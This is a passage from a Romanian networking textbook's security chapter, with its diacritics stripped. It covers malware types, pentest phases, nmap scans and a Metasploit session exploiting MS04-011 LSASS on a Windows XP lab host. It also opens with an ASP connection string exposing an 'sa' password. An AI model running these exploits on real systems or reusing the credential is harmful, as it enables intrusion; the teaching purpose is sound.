' FileName="Connection_ado_conn_string.htm"
' Type="ADO"
' DesigntimeType="ADO"
' HTTP="false"
' Catalog=""
' Schema=""
Dim MM_Connection_STRING
MM_Connection_STRING = "Driver={SQL Server};Server=SITE1;Database=
Customers;Uid=sa;Pwd=tsVrH4k13web!*;"
%>
10.1.2.6 Virui, troieni, viermi
Un virus este un program sau o secven de cod ce se ataeaz altor fiiere executabile
fr acceptul sau cunotina utilizatorului. Un virus include, alturi de mecanismele de
execuie, i modaliti de replicare inserate n codul altei aplicaii.
Clasificarea viruilor n funcie de modul de replicare distinge ntre mai multe tipuri, dintre
care cei mai ntlnii sunt: virui de e-mail, de macro, bombe logice, virui de boot, viermi, i
troieni.
Un lucru important de precizat este c simpla prezen a unui fiier infectat pe un
calculator nu este echivalent cu infectarea sistemului. Pentru a infecta sistemul un virus
trebuie s fie executat cel puin odat. Din pcate unele aplicaii ruleaz cod executabil n mod
automat (fr informarea utilizatorului).
Email-ul este unul dintre cile principale de propagare a viruilor. Viruii de e-mail sunt
coninui n ataamentul e-mail-ului, deseori avnd extensia schimbat (cel mai adesea n
extensie specific imaginilor). Aplicaia int a unui astfel de virus este clientul de e-mail.
Datorit numrului mare de utilizatori ai clientului de email MS Office Outlook, o mare parte a
acestor virui sunt dezvoltai special pentru aceast aplicaie.
Odat executat un ataament infectat din e-mail, virusul se ncarc n memoria RAM i va
urmri s se multiplice. Pentru aceasta, va cuta lista de adrese folosite n clientul de e-mail
(address book). Majoritatea aplicaiilor client de e-mail creeaz lista de adrese n mod dinamic,
fr consultarea utilizatorului. Odat deschis lista de adrese, virusul va folosi direct API-ul de
trimis e-mail-uri pentru a se multiplica. Exemplele de virui de email sunt MyDoom, I love you,
etc.
Falii virui de mail (email virus hoaxes) sunt mesaje care pretind c au identificat prezena
iminent a unui virus i solicit utilizatorului s forwardeze mesajul ctre toi cunoscuii; chiar
n absena unui virus real, un fals virus poate produce pagube considerabile prin aciunile
motivate de panic ale utilizatorilor.
364 | R e e l e L o c a l e

O a doua categorie important de virui o reprezint viruii de macro. Un macro este o
bucat de cod interpretabil sau executabil, ataat unui fiier document. Aplicaiile int
pentru aceti virui sunt cele de gestionare a documentelor gen editoare de text, calcul
tabelar, sau editoare de prezentri. Aceste aplicaii vor ateniona n general utilizatorul nainte
de deschiderea unui document ce conine macro-uri.
Pentru a reduce gradul de risc, dac la deschiderea unui fiier se primete avertizarea de
existen a unor macro-uri, se recomand nchiderea documentului i rularea unui program
antivirus pe respectivul fiier.
Viruii de boot nu reprezint o ameninare major pentru sistemele actuale datorit
dificultii de lansare n execuie. Pentru a lansa un astfel de virus, sistemul trebuie s ncerce
iniializarea de pe o partiie infectat. Impactul acestor virui s-a diminuat odat cu dispariia
floppy discurilor. n prezent viruii de boot se pot propaga ori prin CD-uri, ori prin flash card-
uri.
Troienii (trojan horses) reprezint aplicaii ce conin (sau instaleaz) un program maliios.
Pentru a evita astfel de atacuri se recomand instalarea aplicaiilor doar din locaii sigure,
precum i verificarea integritii fiierelor nainte de instalare.
Viermii (worms) sunt programe ce folosesc vulnerabiliti n diferite servicii din Internet
pentru a se multiplica. Spre deosebire de viruii propriu-zii, viermii nu trebuie s se ataeze
de un alt program. Majoritatea viermilor urmresc doar s se propage, fr a altera fiierele
din sistemul respectiv cauznd daune n special datorit consumului de resurse din reea.
Pentru a reduce impactul viruilor sunt importante att msurile luate la nivelul reelei,
ct i exersarea unor deprinderi din partea utilizatorilor.
Astfel, este important ca accesul n reea s fie protejat de un firewall (dispozitiv de filtrare
att a traficului de intrare n reea, ct i celui de ieire), ca serverul de e-mail s aib instalat
un antivirus, s existe o politic de monitorizare a serviciilor, etc.
La nivelul utilizatorului este important s nu lanseze n execuie fiiere primite prin e-mail,
s nu deschid ataamente primite de la necunoscui, s menin un antivirus actualizat pe
staia de lucru, etc. n acelai timp este important s nu fie instalate programe antivirus
redundante, deoarece prin consumul de resurse acestea pot afecta semnificativ
performanele sistemului.
10.1.3 Prevenirea atacurilor
Securizarea unui sistem sau a unei reele pot presupune investiii importante att n
echipamente, ct i n software. Cu toate acestea, orice soluie de securitate nu trebuie s
piard din vedere cteva componente de baz.
Primul pas n orice soluie de securitate o reprezint stabilirea unor politici clare de
securitate. O astfel de politic de securitate va urmri:
separarea ariilor cu nivel de securitate diferit;
definirea clar a drepturilor fiecrui utilizator;
definirea serviciilor ce trebuie oferite de ctre fiecare component a reelei.
Odat stabilit politica de securitate va trebui restricionat traficul ce nu este prevzut de
aceasta prin configurarea politicilor de filtrare a pachetelor.
Infectarea staiilor dintr-o reea local poate oferi o poart de acces unui atacator n
spatele firewall-ului, reducnd gradul de securitate al reelei. Din acest motiv un administrator
responsabil nu se va ocupa doar de configurarea firewall-ului i a serverelor, dar i de
securizarea staiilor de acces. Cel mai important pas n acest sens o reprezint configurarea i
ntreinerea programelor antivirus.
365 | S e c u r i t a t e a r e e l e i

O component important a securitii o reprezint confidenialitatea. n scopul protejrii
unor date sensibile se recomand configurarea criptrii traficului. Nu trebuie pierdut ns din
vedere consumul mare de resurse (mai ales procesor) presupus de operaia de criptare.
10.2 Auditarea reelei
Testele de penetrare (pentest) realizeaz o analiz complex a securitii sistemului
informatic auditat, testnd eficacitatea msurilor de securitate implementate prin executarea
unor atacuri reale. Activitile se bazeaz pe practici de ethical hacking, iar posturile pe care
le ia o echip de audit (tiger team sau read team n jargon) pot fi:
Black-box atacatorul nu cunoate nicio informaie despre sistemul auditat, cu excepia
numelui sau a unei adrese IP;
Grey-box auditorul deine apriori informaii despre sistem; volumul acestora variaz n
funcie de obiectivele testelor - spre exemplu, poate fi vorba despre testarea unei reele din
perspectiva unui angajat;
White-box echipa de audit are acces la orice informaie despre sistem incluznd codul surs
sau privilegii administrative. Acest tip de teste este important n identificarea breelor pe
sistemele nchise sau pentru analizarea unor soluii nainte de a fi instalate n mediul de
producie; de asemenea, acest pas poate include un Security Code Review.
Activitile unui test de penetrare vor demara printr-o faz de colectare a informaiilor,
continund cu scanri. Pe baza informaiilor obinute vor fi selectate n continuare atacuri de
obinere a accesului sau de compromitere a funcionalitii (Denial-of-Service). n cazul unui
atac de obinere a accesului realizat cu succes, un atacator va urma procedurile de acoperire a
urmelor, de meninere a accesului ulterior prin stabilirea unei metode stabile de a comunica
cu staia compromis i de extindere a influenei prin rularea unor noi teste din poziia recent
obinut. Un ultim pas al activitilor de pentest este reprezentat de alctuirea unui raport
complet pe baza tuturor informaiilor obinute i a ncercrilor efectuate.
Faza de recunoatere sau reconnaisance este etapa n care, contrar ateptrilor, un
atacator i petrece majoritatea timpului. Colectarea informaiilor poate fi pasiv sau activ.
Recunoaterea pasiv se realizeaz fr interaciune cu sistemul int i conine tehnicile de
sniffing, analiza pachetelor cu utilitare dedicate precum p0f, netcraft, etc i investigarea
bazelor de date publice: Google, Archive.org, Rapoarte Financiare, ARIN, RIPE, etc.
Recunoaterea activ implica stabilirea unor conexiuni ctre sistemul auditat prin folosirea
unor unelte precum trace, ping i altele.
Scanarea este o etap important pentru c de cele mai multe ori completeaz imaginea
obinut pn atunci. Activitile ntreprinse includ scanarea de porturi folosind nmap cu toate
tipurile sale: SYN, Connect, ACK chiar i Idle Scanning, maparea ACL-urilor de pe firewall-uri
cu firewalk i hping, scanri de vulnerabiliti cu Nessus, Retina, CANVAS, CORE Impact,
identificarea protocoalelor, serviciilor i sistemelor de operare utilizate i ncercri de
enumerare prin NetBios Null Sessions, LDAP, SNMP, DNS Zone Transfer.
Atacul. Urmtoarea faz este cea mai interesant deoarece implic ncercarea
atacatorului de a obine accesul. Pe baza informaiilor obinute anterior echipa de audit
creeaz un profil de securitate al reelei i un plan de atac. n aceasta faz sunt consultate de
obicei baze de date publice pentru obinerea exploit-urilor, sau sunt dezvoltate propriile
exploit-uri i unelte de atac pentru compromiterea sistemelor int. Cele mai populare baze de
date sunt:
http://www.milw0rm.com
http://www.packetstormsecurity.org/
http://osvdb.org/
http://www.securityfocus.com/
366 | R e e l e L o c a l e

Lansarea unui atac folosind informaiile de pe aceste site-uri implic n continuare un
volum de munc substanial din partea atacatorului, deoarece codul existent trebuie de cele
mai multe ori modificat (fie pentru c este greit n mod intenionat, fie pentru c nu
corespunde perfect versiunii i subversiunii serviciului care trebuie compromis), apoi trebuie
compilat i analizat pe un mediu de test. Unul dintre cele mai convenabile moduri de a porni
un atac se bazeaz pe folosirea unui framework dedicat; cele mai folosite astfel de platforme
sunt Metasploit (Open-Source), Canvas sau Core Impact
1
.
Atacurile pot fi direcionate asupra urmtoarelor locaii care conin vulnerabiliti: sisteme
de operare, servicii sau aplicaii.
Atacurile asupra sistemelor de operare sunt de mai multe tipuri. Un exemplu de atac
datorat vulnerabilitilor din codul OS este spargerea RPC/SMB pe Windows exploatat de
viermi celebri precum Blaster sau Sasser.
Spargerea parolelor n cazul obtinerii hash-urilor (prin sniffing, de exemplu) este un alt tip
de atac asupra OS. Metodele de atac asupra parolelor includ atacuri de dicionar (prin
testarea unor cuvinte dintr-o list predefinit), brute-force (ncercarea tuturor posibilitilor de
x caractere), hibride (pornind de la un dicionar i schimbnd/adugnd cteva caractere),
rainbowcrack (brute-force dar cu liste precalculate), reversarea algoritmului (cisco type7,
Adobe PDF, Microsoft Word) sau bree n acesta (WEP). Uneltele cele mai cunoscute sunt:
L0phtCrack, john, hydra, rainbowcrack.
Privilege escalation implic posibilitatea unui utilizator limitat de a obine privilegii
superioare, de obicei de administrator. Cteva dintre cele mai relevante exemple includ un
buletin de tiri din 2008 de la Microsoft care anuna existena unor bree n kernel
http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx, sau un exploit
din 31 august 2008 care permite escaladarea level 15 (maxim) pentru orice versiune de Cisco
IOS: http://www.securiteam.com/exploits/5UP0W0AP5E.html.
Pe baza vulnerabilitilor descoperite de-a lungul timpului, printre cele mai populare
atacuri direcionate ctre servicii se numr atacurile asupra serverelor DNS, OpenSSH, Web:
Apache/ IIS, i atacurile asupra bazelor de date: Microsoft SQL Server, MySQL, etc.
Majoritatea atacurilor mpotriva aplicaiilor asupra din ultimii ani sunt concentrate asupra
aplicaiilor Web i se bazeaz pe urmtoarele vulnerabiliti ale acestora:
Cross-Site Scripting (XSS);
Cross-Site Request Forgery (XSRF);
Cross-Site Tracing (XST);
Injectare (SQL, LDAP, XPATH);
Server-Side Includes (SSI);
Buffer Overflows;
Session Hijacking;
Directory Traversal;
Escaladare orizontal a privilegiilor;
Escaladarea vertical a privilegiilor;
Vulnerabiliti specifice tehnologiilor folosite: Java, JavaScript, Flash, ActiveX.
Atacurile la nivelul reea se bazeaz pe exploatarea unei vulnerabiliti n protocoalele
utilizate n reeaua destinaie i pot implica:
Introducere de echipament nelegitime, rogue i rularea unor protocoale din seria: HSRP,
DTP, STP, VTP, OSPF, EIGRP, DHCP pentru manipularea traficului i ocolirea msurilor de
securitate existente. Zebra este o aplicaie Linux care poate fi utilizat pentru o parte dintre
acestea, pentru altele fiind nevoie de echipamente dedicate;

1
Puncte de referin pentru atacurile de sistem: SANS Top 20 http://www.sans.org/top20/; pentru
aplicaii web: OWASP Top 10 http://www.owasp.org/index.php/Top_10_2007.
367 | S e c u r i t a t e a r e e l e i

Atacurile prin SNMP (versiunile 1 i 2);
ARP Poisoning (uneltele cunoscute sunt cain, ettercap, dsniff).
Social Engineering
Ingineria social (social engineering) reprezint persuadarea oamenilor de a furniza
informaii sau alt tip de sprijin pentru a ctiga acces neautorizat la un sistem. Tehnicile de
social engineering includ: intimidare, persuasiune, pozarea ca victim ce are nevoie de ajutor
sau, dimpotriv, crearea unei situaii n care victima are nevoie de un ajutor pe care atacatorul
se ofer s l dea.
Impersonarea unui utilizator legitim, a unei persoane influente sau a personalului de
suport tehnic sunt tehnici foarte puternice. Eavesdropping reprezint tehnica de ascultare a
unei conversaii private fr ca cei implicati s tie c sunt ascultai. Dumpster Diving implic
scormonirea tuturor resturilor unei organizaii pentru colectarea unor informaii. Shoulder
Surfing este procedura prin care un atacator urmrete monitorul unei alte persoane pentru a-
i urmri activitile. Tailgating i Piggybacking sunt tehnici de ptrundere n interiorul unor
suprafee protejate de ui sau bariere cu cartele, respectiv prin angajarea ntr-o conversaie cu
o persoan ce deine accesul.
Reverse Social Engineering este o alt metod consacrat. Atacatorul convinge pe alii s
apeleze la sprijinul su, de cele mai multe ori construind un personaj fictiv la care intele vor
apela pentru rezolvarea unor probleme. De cele mai multe ori atacatorii prin social
engineering vor utiliza mijloace de comunicaie informatice precum instant messaging, e-mail,
telefon, SMS i vor combina aceste tehnici cu alte atacuri precum dezvoltarea unor troieni,
escaladarea privilegiilor, crearea unor site-uri de tip phishing, etc.
Extinderea influenei. Odat ce un atacator a compromis un sistem, acesta va verifica
noile orizonturi care i-au fost deschise. Dac a fost posibil compromiterea unei staii din
interiorul unei reele, este posibil ca de aici s fie lansate noi atacuri ctre staiile
administratorilor. Astfel, echipa de audit va repeta activitile de colectare a datelor, scanare
i eventual va realiza noi atacuri din noua poziie. n cazul spargerii unor parole, atacatorul va
accesa echipamente i va altera configuraiile pentru a crea premisele unui nou atac.
Mentinerea accesului. Atacatorul va folosi tehnici precum instalarea de rootkit-uri, troieni,
crearea de canale de comunicaie ascunse (covert) sau inverse, dezactivarea firewall-ului i
adugarea de conturi administrative pentru a menine un acces stabil pe viitor ctre un sistem
compromis.
Acoperirea urmelor include tergerea log-urilor de pe sistem, identificarea punctelor care
ar fi putut genera alerte, precum echipamentele de tip IDS/IPS, i compromiterea acestora,
urmate de o eventuala nlturare a alertelor generate.
Denial-of-Service reprezint o strategie alternativ a atacatorului n situaia n care nu
reuete s obin accesul. n cazul specific al unui test de penetrare aceste teste vor fi fcute
doar dac ele sunt cerute n mod explicit de ctre compania auditat. Tehnicile de
compromitere a funcionalitii includ:
Resource Starvation: epuizarea resurselor unui sistem prin cunoscutele atacuri de tip SYN
Flood, epuizarea resurselor sistemului de operare, etc.
Bandwidth Starvation, asimilat noiunii de flood: implica transmiterea unui trafic susinut
mai mare dect destinaia poate accepta, ocupnd ntreaga banda pe care inta o poate folosi.
Atacuri distribuite (DDoS). Aceste atacuri implic un numr mare de staii compromise n
prealabil care lanseaz n mod sincronizat acelai atac ctre o int comun.
368 | R e e l e L o c a l e

10.3 Utilitare pentru asigurarea securitii
10.3.1 Nmap
Exist numeroase aplicaii de scanat porturile disponibile, shareware sau freeware, una
dintre cele mai populare fiind nmap. Datorit popularitii de care se bucur utilitarul nmap n
rndul administratorilor de sisteme Linux (www.insecure.org/nmap), aplicaia a fost portat
i pe platforme Windows (sourceforge.net/projects/nmapwin).
Nmap implementeaz mai multe metode de scanare, putnd oferi informaii despre
porturile deschise, dar i despre porturile explicit filtrate. n plus fa de informaiile
referitoare la serviciile rulate, nmap pune la dispoziia administratorului de reea metode de
aflare a versiunii sistemului de operare, versiunile serviciilor active, utilizatorii ce ruleaz
aceste servicii, precum i multe alte informaii relevante.
Printre tipurile importante de scanare, ase se refer la scanarea porturilor TCP, unul la
scanarea porturilor UDP i unul la monitorizarea conectivitii, aceast ultim metod
ncercnd s determine doar dac staia destinaie este activ i dac se poate ajunge la ea. O
analiz detaliat a metodelor de scanare presupune o prezentare a cmpurilor de control din
antetul TCP, prezentare ce depete scopul acestui capitol.
Dintre metodele de scanare pentru porturi TCP, singura disponibil utilizatorilor
neprivilegiai este TCP connect. TCP connect ncearc deschiderea unei conexiuni ctre portul
int; dac apelul sistem connect reuete, nseamn c portul este deschis, altminteri,
nseamn c portul este nefolosit, sau filtrat de un firewall.
TCP SYN este modul implicit de scanare pentru utilizatorii privilegiai. Se trimite un pachet
SYN ctre maina care este scanat. n cazul n care se primete drept rspuns un pachet
SYN|ACK nseamn c exist un server ce ascult pe acest port, dar dac pachetul de rspuns
este un pachet RST, nseamn c portul n cauz nu este deschis. Dac nu se primete niciun
rspuns portul este considerat ca fiind filtrat de un firewall.
TCP SYN se bazeaz pe trimiterea de pachete SYN, ceea ce presupune drepturi de
administrator. Din acest motiv, acest mod nu este accesibil utilizatorilor neprivilegiai.
Dou opiuni de scanare importante sunt -sV i -O. Prima dintre aceste opiuni ofer
informaii despre versiunea serviciilor ce ascult pe porturile deschise, n vreme ce opiunea -
O ofer informaii despre sistemul de operare instalat, precum i timpul de la ultima
restartare.
kiwi:~# nmap -sV -O 141.85.37.53

Starting nmap 3.55 ( http://www.insecure.org/nmap/ ) at 2004-08-27 17:23 EEST
Interesting ports on dhcp-53.cs.pub.ro (141.85.37.53):
(The 1659 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.8.1p1 (protocol 1.99)
Device type: general purpose
Running: Linux 2.4.X|2.5.X|2.6.X
OS details: Linux 2.5.25 - 2.6.3 or Gentoo 1.2 Linux 2.4.19 rc1-rc7)
Uptime 0.105 days (since Fri Aug 27 14:52:12 2004)

Nmap run completed -- 1 IP address (1 host up) scanned in 11.840 seconds
Un lucru ce nu trebuie trecut cu vederea este faptul c procesul de scanare de porturi
poate duce la o ncrcare semnificativ a sistemului, o operaie de monitorizare putnd avea
efectele unui atac DoS. Pentru a controla impactul scanrii de porturi asupra destinaiei, nmap
folosete un numr de ase metode de temporizare (timing) a procesului de scanare:
Paranoid, Sneaky, Polite, Normal, Aggressive i Insane. Metoda implicit este Normal, i
urmrete rularea ct mai rapid a scanrii fr a ncrca reeaua sau a pierde porturi. Primele
trei metode sunt mult mai lente i folosesc scanri serializate, n vreme ce ultimele dou se
bazeaz pe scanri paralele, dar n schimb pot pierde unele dintre porturile deschise.
369 | S e c u r i t a t e a r e e l e i

Pentru servere cu o ncrcare mare, mai ales dac acestea ndeplinesc funcii critice,
metodele recomandate de scanare sunt Paranoid, Sneaky i Polite, n vreme ce pentru
scanarea periodic a unui numr mare de staii de lucru metodele Aggressive i Insane se pot
dovedi mult mai potrivite, n special pentru reele cu conexiuni foarte rapide.
Funcionarea Nmap
Scanarea ACK are drept principal scop determinarea tipurilor de reguli de filtrare folosite
de un firewall ce protejeaz destinaia. La finalul unei astfel de scanri se poate afla dac un
port destinaie este filtrat de o regul bazat pe monitorizarea strilor conexiunilor sau nu.
n acest scop, scanarea ACK trebuie rulat n conjuncie cu scanarea TCP SYN. Mai exact,
pentru un port ce a fost determinat ca fiind port filtrat n urma unei scanri TCP SYN, se va rula
scanarea ACK pentru a determina tipul regulii de filtrare folosit.
Pentru a verifica funcionarea scanrii, vor fi urmrite pachetele trimise n reea pentru 2
cazuri: port nchis i port deschis.
Cazul 1. Portul 10000 este nchis. Procesul de scanare a traficului prin:
kiwi:~# tcpdump -i eth1 tcp port 10001
Scanarea portului 10001 prin metoda TCP SYN se va face cu comanda:
cursuri:~# nmap -sS -p 10001 -P0 -n 141.85.37.145

Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )
The 1 scanned port on (141.85.37.145) is: closed

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds
Pachetele trimise n reea au fost prinse de tcpdump:
17:11:42.860449 IP cursuri.cs.pub.ro.54403 > kiwi.cs.pub.ro.10001: S
2570971707:2570971707(0) win 2048
17:11:42.860549 IP kiwi.cs.pub.ro.10001 > cursuri.cs.pub.ro.54403: R 0:0(0) ack
2570971708 win 0
Rezultatul scanrii cu ACK-uri va fi urmtorul:
cursuri:~# nmap -sA -p 10001 -P0 -n 141.85.37.145

Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )
The 1 scanned port on (141.85.37.145) is: UNfiltered

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds
Scanarea de pachete a interceptat 2 pachete pentru portul n cauz: segmentul ACK trimis
de nmap i segmentul RST trimis drept rspuns.
17:18:04.102979 IP cursuri.cs.pub.ro.38388 > kiwi.cs.pub.ro.10001: . ack 1214695285 win
4096
17:18:04.103089 IP kiwi.cs.pub.ro.10001 > cursuri.cs.pub.ro.38388: R
1214695285:1214695285(0) win 0
Cazul 2. Portul deschis va fi simulat prin comanda nc:
kiwi:~# nc -l -p 10000
Rezultatul scanrii ACK va fi acelai ca i n cazul portului nchis, diferene aprnd doar n
scanarea TCP SYN:
cursuri:~# nmap -sS -p 10001 -P0 -n 141.85.37.145

Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )
Interesting ports on (141.85.37.145):
Port State Service
10001/tcp open unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds
Rezultatul tcpdump va fi:
17:19:29.123875 IP cursuri.cs.pub.ro.63326 > kiwi.cs.pub.ro.10001: S
680066281:680066281(0) win 3072
370 | R e e l e L o c a l e

17:19:29.124006 IP kiwi.cs.pub.ro.10001 > cursuri.cs.pub.ro.63326: S
1412873701:1412873701(0) ack 680066282 win 5840 <mss 1460>
17:19:29.124164 IP cursuri.cs.pub.ro.63326 > kiwi.cs.pub.ro.10001: R
680066282:680066282(0) win 0
10.3.2 Metasploit
Printre utilitarele de evaluare a vulnerabilitilor sistemelor se numr Metasploit, Nessus,
sau Ettercap. n continuare se va ilustra funcionarea unor astfel de proiecte prin prezentarea
Metasploit.
Ctigtorul unei prestigioase medalii Best of Open Source Software Awards 2008 la
seciunea de Securitate, proiectul Metasploit pune la dispoziia comunitii mecanisme
avansate pentru dezvoltarea, testarea i lansarea atacurilor mpotriva sistemelor informatice.
Funcia de baz a unui framework este de a crea o platform consistent pentru atingerea
unui obiectiv. Metasploit conine n plus o colecie de unelte, biblioteci, module i interfee
folosite mpreun pentru exploatarea breelor de securitate. Versiunea 3.1 este scrisa n Ruby,
iar componentele n C i Assembler, n paradigma open-source, oferind att o baz solid
pentru dezvoltarea propriilor module, ct i portabilitatea framework-ului pe o gam larg de
sisteme de operare ce includ Windows, Linux i MacOS.
Metasploit poate interaciona cu utilizatorul folosind att linia de comand, apreciat de
utilizatorii avansai, ct i ntr-un mediu grafic, sub forma unei interfee web sau a unei
aplicaii GUI stand-alone, recomandat primelor contacte cu aplicaia.

10-3: Metasploit GUI
Una dintre cele mai frecvente utilizri ale Metasploit urmrete obinerea unui shell pe
sistemul int, prin exploatarea unei bree de securitate ntr-unul dintre serviciile active;
acesta este totodat cel mai frecvent obiectiv al unui atacator.

Realizarea acestui scenariu cu Metasploit presupune parcurgerea urmtoarelor etape:
Identificarea porturilor deschise i a serviciilor active pe maina int. Scanarea de porturi
se poate face de exemplu cu nmap. Intr-o paralel cu asaltarea unei fortree, acest pas poate
371 | S e c u r i t a t e a r e e l e i

fi asemnat cu identificarea suprafeelor expuse ale cetii: intrarea principal i cea
secundar, turnurile de veghe, ferestrele, etc.
Verificarea prezenei vulnerabilitilor publice pe porturile descoperite anterior. Acest pas
se poate face prin tehnici de banner grabbing, os fingerprinting, identificarea versiunii
serviciului i corelarea acesteia cu o baz de date de vulnerabiliti, sau prin scanarea cu
Nessus. Etapa se aseamn cu identificarea zonelor cunoscute ca fiind slabe: poarta principala
nu este ranforsat i poate fi spart cu un berbec, sau un anumit zid poate fi drmat cu un
anumit tun.
Identificarea modulului corespunztor de exploit din Metasploit i configurarea acestuia:
adresa IP destinaie, versiunea sistemului de operare, etc. Aceasta etap se poate asemn cu
identificarea armamentului ce va fi folosit: tipul de tun sau de berbec.
Alegerea unui payload i configurarea opiunilor acestuia. Payload-ul reprezint
ncrctura atacului, codul care va fi executat n urma exploatrii vulnerabilitii alese, cod
care decide care va fi rezultatul atacului. Acesta poate varia de la obinerea unui shell pe
sistemul int pn la administrarea acestuia prin VNC sau prin producerea unui Denial of
Service.
Ultimul pas este acela al lansrii atacului i al verificrii rezultatului obinut. n cazul unui
rezultat pozitiv, atacatorul poate ncerca s i extind influena, s i asigure accesul viitor, s
tearg urmele sau s i escaladeze privilegiile, n funcie de situaie.
Versiunea actual numr peste dou sute cinci zeci de exploit-uri acoperind numeroase
bug-uri de la sisteme de operare (Windows, Linux, Cisco IOS, etc) pn la servicii (IIS, Apache,
SQL Server) i aplicaii: browsere, firewall-uri.
Un numr de 118 payload-uri sunt disponibile pentru obinerea accesului, iar funciile
acestora includ: pornirea unui serviciu pe sistemul int i conectarea la acesta (bind),
pornirea unui serviciu i configurarea acestuia s se conecteze napoi la staia atacatorului
pentru a evita restriciile de firewall (reverse connect). Alte facilitai avansate ale payload-
urilor sunt: tunelarea conexiunilor peste protocolul HTTP sau peste un layer SSL (bind i
reverse), pclirea sistemelor IDS/IPS, etc. Rezultatul final poate fi obinerea unui shell, a unei
conexiuni VNC, adugarea unui utilizator, executarea de comenzi la distan, sau ncrcarea i
lansarea unui DLL dezvoltat de atacator.
Pentru compromiterea sistemelor Windows, Metasploit ofer posibilitatea injectrii
payload-ului (Win32 DLL Injection) n spaiul de adrese ale procesului exploatat, de unde este
lansat ca thread separat. Pclirea antiviruilor i inexistenta urmelor pe disc sunt doar dou
dintre avantajele acestei metode.
Un payload deosebit este Meterpreter, un shell creat special pentru hacking. Acesta este
conceput special pentru a rezolva problemele clasice ale shell-urilor de sistem: poate evada
nativ din mediile chroot-ate, nu lanseaz un proces nou, ci se ascunde n spaiul de adres al
altui proces, i pune imediat la dispoziia atacatorului un set foarte puternic de comenzi
consecvente independent de platform, pe care altminteri acesta ar trebui s le transfere
printr-un alt canal. Funcionalitatea lui Meterpreter este modular i se bazeaz pe extensii.
Astfel stdapi conine acces unificat la funcii de sistem, de reea, manipularea proceselor,
etc., iar priv permite accesul facil la hash-urile parolelor Windows (NTLM), i la utilitare
pentru modificarea amprentelor de timp ale fiierelor.
stdapi conine unelte pentru manipularea sistemelor de fiiere (cat, edit, ls, cd, pwd,
download i upload pentru transferul de fiiere ntre staia de atac i int direct prin
meterpreter, etc), manipularea funciilor de reea (ipconfig, portfwd pentru tunelarea
conexiunilor de pe sistemul compromis mai departe, route pentru modificarea tabelei de
rutare), a funciilor SO (execute poate lansa un proces mascat prin DLL Injection, getpid,
372 | R e e l e L o c a l e

getuid, kill, ps, reg pentru manipularea regitrilor) sau a interfeei grafice (idletime i
uictl pentru activarea/dezactivarea interactivitii sistemului cu utilizatorul legitim).
Alte facilitai interesante ale Metasploit includ posibilitatea lansrii exploit-urilor printr-un
lan de servere proxy (testat de ctre comunitate cu 500 de servere) pentru mascarea sursei i
modulul autopwn care permite atacarea unui subnet ntreg din doar cteva comenzi prin
integrarea cu nmap i automatizarea primilor patru pai descrii anterior.
Un exemplu de vulnerabilitate n protocolul SMB (File Sharing) pe Windows XP este
prezentat mai jos:
1. Scanarea de porturi (nmap)

nmap -sS 192.168.128.5
Starting Nmap 4.50 (http://insecure.org )
at 2008-09-11 19:04 E. Europe Daylight
Time
Interesting ports on 192.168.128.5:
Not shown: 1706 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
5000/tcp open UPnP
MAC Address: 00:0C:29:C8:A3:02 (VMware)

Nmap done: 1 IP address (1 host up)
scanned in 1.375 seconds


2. Scanarea de vulnerabiliti



Un exemplu de output Metaspoit este prezentat mai jos:
>> search ms04_011 // CAUTAREA EXPLOIT-ULUI
[*] Searching loaded modules for pattern 'ms04_011'...

Exploits
========
Name Description
---- -----------
windows/smb/ms04_011_lsass Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow
windows/ssl/ms04_011_pct Microsoft Private Communications Transport Overflow
>> use windows/smb/ms04_011_lsass
>> show targets
Exploit targets:

Id Name
-- ----
0 Automatic Targetting
1 Windows 2000 English
2 Windows XP English

>> set TARGET 2 // CONFIGURAREA OPTIUNILOR EXPLOIT (OS TINTA)
TARGET => 2
>> show options

Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
373 | S e c u r i t a t e a r e e l e i


Exploit target:

Id Name
-- ----
2 Windows XP English
>> set RHOST 192.168.128.5 // OPTIUNE EXPLOIT (IP TINTA)
RHOST => 192.168.128.5

>> show advanced
Module advanced options: .... (OMISE PENTRU BREVITATE)
>> show payloads
Compatible payloads
===================
Name Description
---- -----------
generic/shell_bind_tcp Generic Command Shell, Bind TCP Inline
.............. (OMISE PENTRU BREVITATE)
>> set PAYLOAD windows/vncinject/bind_tcp // PAYLOAD INJECTARE SERVER VNC
PAYLOAD => windows/vncinject/bind_tcp
>> exploit // LANSARE EXPLOIT
[*] Started bind handler
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.1

>> exploit // BUG IN EXPLOIT (CONTINUAM)
[*] Started bind handler
[*] Binding to 3919286a-b10c-11d0-9ba8-
00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.128.5[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.1
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (327693 bytes)...
[*] Upload completed.
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] VNC Server session 2 opened (192.168.128.2:1875 -> 192.168.128.5:4444)
[*] The DCERPC service did not reply to our request

>> sessions l // LISTARE SESIUNI DESCHISE

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.128.2:1831 -> 192.168.128.5:4444 // SESIUNE MAI VECHE
2 VNC Server 192.168.128.2:1875 -> 192.168.128.5:4444 // REZULTAT
>> sessions -i 1
[*] Starting interaction with 1...
>> use Priv
Loading extension priv...
success.

